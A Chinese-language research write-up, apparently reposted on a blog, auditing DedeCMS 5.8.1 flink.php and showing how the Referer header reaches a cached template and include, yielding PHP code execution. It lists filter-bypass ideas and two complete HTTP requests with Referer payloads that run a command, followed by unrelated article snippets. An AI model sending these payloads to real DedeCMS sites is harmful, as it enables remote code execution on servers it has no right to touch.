DedeCMS-Develop-5.8.1.13-referer命令注入研究分析 CVE-2024-0002

本次文章給大家帶來代碼審計漏洞挖掘的思路,從已知可控變量出發或從函數功能可能照成的隱患出發,追蹤參數調用及過濾。最終完成代碼的隱患漏洞利用過程。

代碼審計挖掘思路

首先flink.php文件的代碼執行邏輯,可以使用php的調試功能輔助審計

我們注意到參數dopost 為save 進入條件塊中執行,查看相關調用函數,分析是否還有其他的取參處理的邏輯。

函數ShowMsg

我們注意到變量gourl取值http的referer頭,據注釋來看貌似是跳轉的地址,那么我們首先會想到是CSRF或者SSRF,看看后面有沒有過濾,或有其他的處理邏輯。

在后面的處理的邏輯中定義了 $htmlhead $htmlfoot變量。

那么我們有理由猜測之后的處理邏輯就是渲染輸出。如果之中有參數可控,我們可以嘗試插入js代碼進行xss攻擊,如果服務端進行了模板渲染,我們可以選擇模板注入,表達式注入。甚至為后端的代碼注入。

著重看一下可控參數$gourl 的處理方式

現在可以確認的是可控參數已經在變量&msg , 跟進loadstring函數查看處理邏輯

變量存入了DedeTemplate類中成員變量sourceString中。

右鍵查找調用者

GetResult函數將調用這個參數。GetResult()?的實現,目的是生成并返回一個處理后的字符串。一個有效的 PHP 代碼段,通過使用正則表達式進行清理,確保返回的字符串沒有冗余的標簽。

繼續分析GetResult函數的調用者,及調用者的處理邏輯。

GetResult函數的返回值經CheckDisabledFunctions函數過濾后寫入了。

CheckDisabledFunctions 過濾了一些危險函數方法。我們也有理由相信我們的可控參數一定程序上是可以執行php代碼的

可以繼續分析WriteCache的調用者,也可以從程序處理后一步一步調,看看能不能函數能不能交匯

在之后的display中,發現有writeCache的調用,而且之后i使用文件包含include 生成的cacheFile文件(這點的邏輯可以在WriteCache函數中看)。

那么現在我們的思路就很明顯了,

利用可控變量Referer完成 代碼段的閉合!

function JumpUrl(){

? if(pgo==0){ location='$gourl'; pgo=1; }

}

默認是在jumpurl函數中,如果默認沒調用JumpUrl 我們則可以嘗試去閉合這個函數,然后代碼執行,

還要考慮一件事情,不能被CheckDisabledFunctions函數檢測到,

思路:

1.插入"來繞過 這個會干擾token_get_all_nl函數的提取??(復現方式1)
2.使用php中類似表達式的機制<?=calc?>?(復現方式2)
3.結合PHP的流機制 命令執行繞過(跟包含文件相關)

漏洞復現

GET /plus/flink.php?dopost=save HTTP/1.1

Host: 127.0.0.1

Accept-Encoding: gzip, deflate, br

Accept: */*

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36

Referer: <?php "system"(calc);?>

Connection: close

Cache-Control: max-age=0z

GET /plus/flink.php?dopost=save HTTP/1.1

Host: 127.0.0.1

Accept-Encoding: gzip, deflate, br

Accept: */*

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36

Referer: <?=`calc`?>

Connection: close

Cache-Control: max-age=0

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/82811.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/82811.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/82811.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

計算機網絡|| 常用網絡命令的作用及工作原理

1.hostname 作用&#xff1a;顯示計算機的完整計算機名的主機名部分。僅當 Internet 協議 (TCP/IP) 協議作為組件安裝在網絡的網絡適配器的屬性中時&#xff0c;此命令才可用。 2.ping 作用&#xff1a; 1.用來檢測網絡的連通情況和分析網絡速度 2.根據域名得到服務器 IP …

用戶態到內核態:Linux信號傳遞的九重門(二)

1. 保存信號 1.1. 信號其他相關常見概念 實際執?信號的處理動作稱為信號遞達(Delivery)。 信號從產?到遞達之間的狀態,稱為信號未決(Pending)。 進程可以選擇阻塞 (Block )某個信號。 被阻塞的信號產?時將保持在未決狀態,直到進程解除對此信號的阻塞,才執?遞達的動作。 1.…

tar -zxvf jdk-8u212-linux-x64.tar.gz -C /opt/module/這個代碼的解釋

tar -zxvf jdk-8u212-linux-x64.tar.gz -C /opt/module/ 這條命令的解釋如下&#xff1a; 1. tar&#xff1a;這是 Linux 系統中用于歸檔和壓縮文件的命令行工具。 2. -z&#xff1a;表示通過 gzip 壓縮格式來處理文件&#xff0c;因為文件 jdk-8u212-linux-x64.tar.gz 是一個經…

SysAid On-Prem XML注入漏洞復現(CVE-2025-2776)

免責申明: 本文所描述的漏洞及其復現步驟僅供網絡安全研究與教育目的使用。任何人不得將本文提供的信息用于非法目的或未經授權的系統測試。作者不對任何由于使用本文信息而導致的直接或間接損害承擔責任。如涉及侵權,請及時與我們聯系,我們將盡快處理并刪除相關內容。 前…

Nginx的增強與可視化!OpenResty Manager - 現代化UI+高性能反向代理+安全防護

以下是對OpenResty Manager的簡要介紹&#xff1a; OpenResty Manager &#xff08;Nginx 增強版&#xff09;&#xff0c;是一款容易使用、功能強大且美觀的反向代理工具 &#xff0c;可以作為OpenResty Edge 的開源替代品基于 OpenResty 開發&#xff0c;支持并繼承 OpenRes…

旅游推薦數據分析可視化系統——訊飛AI助手(超級v2版本)+論文+數據+源碼

旅游推薦數據分析可視化系統——訊飛AI助手(超級v2版本)論文數據源碼 項目介紹 本項目是一個基于Django框架開發的旅游推薦數據分析可視化系統&#xff0c;集成了訊飛AI大模型助手功能。系統通過對去哪兒網的旅游數據進行采集、分析和可視化&#xff0c;為用戶提供個性化的旅…

大疆無人機(全系列,包括mini)拉流至電腦,實現直播

參考視頻 【保姆級教程】大疆無人機rtmp推流直播教程_嗶哩嗶哩_bilibili VLC使用教程&#xff1a; VLC工具使用指南-CSDN博客 目錄 實現效果&#xff1a; 電腦端 ?編輯 ?編輯 無人機端 VLC拉流 分析 實現效果&#xff1a; (實驗機型&#xff1a;大疆mini4kRC-N2遙控器、大…

windows系統使用phpstudy安裝ssl證書

一、證書準備與上傳 獲取證書文件? 免費證書&#xff08;如阿里云、Lets Encrypt&#xff09;&#xff1a;下載包含.crt&#xff08;證書&#xff09;、.key&#xff08;私鑰&#xff09;、chain.crt&#xff08;證書鏈&#xff09;的文件包 自簽名證書&#xff08;測試用&a…

Spring Validation中9個數據校驗工具

Spring Validation作為Spring生態系統的重要組成部分&#xff0c;提供了一套強大而靈活的數據校驗機制。 1. Bean Validation基礎注解 Spring Validation集成了JSR-380 (Bean Validation 2.0)規范&#xff0c;提供了一系列開箱即用的校驗注解。 常用注解示例 Data public c…

AI 搜索引擎 MindSearch

背景 RAG是一種利用文檔減少大模型的幻覺&#xff0c;AI搜索也是 AI 搜索引擎 MindSearch 是一個開源的 AI 搜索引擎框架&#xff0c;具有與 Perplexity.ai Pro 相同的性能。您可以輕松部署它來構建您自己的搜索引擎&#xff0c;可以使用閉源 LLM&#xff08;如 GPT、Claude…

Java高頻面試之并發編程-16

hello啊&#xff0c;各位觀眾姥爺們&#xff01;&#xff01;&#xff01;本baby今天又來報道了&#xff01;哈哈哈哈哈嗝&#x1f436; 面試官&#xff1a;volatile 實現原理是什么&#xff1f; volatile 關鍵字的實現原理 volatile 是 Java 中用于解決多線程環境下變量可見性…

《零基礎學機器學習》學習大綱

《零基礎學機器學習》學習大綱 《零基礎學機器學習》采用對話體的形式&#xff0c;通過人物對話和故事講解機器學習知識&#xff0c;使內容生動有趣、通俗易懂&#xff0c;降低了學習門檻&#xff0c;豆瓣高分9.1分&#xff0c;作者權威。 接下來的數篇文章&#xff0c;我將用…

C# 中 static的使用

靜態(static)是C#中一個重要的關鍵字&#xff0c;它可以應用于類、方法、屬性和字段。 靜態類 靜態類的特點&#xff1a; 不能實例化只能包含靜態成員密封的&#xff08;sealed&#xff09;,不能被繼承 應用場景&#xff1a; 工具類/輔助類數學計算類&#xff1a;如Math類…

C++藍橋杯真題(題目+解析+流程圖)(特殊運算符+四葉玫瑰數+質因數的個數+最大的矩形紙片+數字游戲+活動人數)

C++藍橋杯真題 藍橋杯省賽C++題目分析1. 特殊運算符題目描述輸入描述輸出描述輸入輸出樣例正確代碼錯誤代碼分析流程圖2. 四葉玫瑰數題目描述輸入描述輸出描述輸入輸出樣例正確代碼錯誤代碼分析流程圖3. 質因數的個數題目描述輸入描述輸出描述輸入輸出樣例正確代碼錯誤代碼分析…

MYSQL 索引與數據結構筆記

MYSQL 索引與數據結構筆記 文章目錄 MYSQL 索引與數據結構筆記1. B-Tree 與 B Tree 基礎對比一、B 樹的優勢二、B 樹的進一步優化三、綜合對比結論 2. MySQL 為何選擇 B Tree3. 索引使用示例與性能分析3.1 整數字段索引查詢3.2 字符字段索引查詢 4. 索引失效與類型轉換陷阱5. 小…

電路中的DGND、GROUND、GROUND_REF的區別,VREF、VCC、VDD、VEE和VSS的區別?

目錄 1 DGND、GROUND、GROUND_REF的區別 1.1 DGND&#xff08;Digital Ground&#xff09; 1.2 GROUND&#xff08;Ground&#xff09; 1.3 GROUND_REF&#xff08;Ground Reference&#xff09; 1.4 區別 2 VREF、VCC、VDD、VEE和VSS的區別 2.1 VREF&#xff08;Refere…

OpenHarmony平臺驅動開發(十),MMC

OpenHarmony平臺驅動開發&#xff08;十&#xff09; MMC 概述 功能簡介 MMC&#xff08;MultiMedia Card&#xff09;即多媒體卡&#xff0c;是一種用于固態非易失性存儲的小體積大容量的快閃存儲卡。 MMC后續泛指一個接口協定&#xff08;一種卡式&#xff09;&#xff0…

C++ 的 VS 項目中引入跨平臺包管理工具 conan

我們知道 C 不像很多其他語言有包管理工具&#xff0c;比如 Python 有 pip&#xff0c;Java 有 maven&#xff0c;C# 有 nuget&#xff0c;JS 有 npm&#xff0c;Go 有 go mod&#xff0c;Rust 有 cargo&#xff0c;項目中需要自己手動引入第三方庫&#xff0c;手動維護帶來了很…

vscode 默認環境路徑

1.下面放在項目根目錄上&#xff1a; .vscode/settings.json 2.settings.json內容&#xff1a; {"python.analysis.extraPaths": ["${workspaceFolder}"],"python.defaultInterpreterPath": "/shared_disk/users/lbg/envs/py310_see3d/b…

Android 項目中配置了多個 maven 倉庫,但依賴還是下載失敗,除了使用代理,還有其他方法嗎?

文章目錄 前言解決方案gradlemaven 倉庫 前言 我們在Android 開發的過程中&#xff0c;經常會遇到三方依賴下載不下來的問題。一般情況下我們會在項目的build.gradle文件中配置多個 maven 倉庫來解決。 // Top-level build file where you can add configuration options com…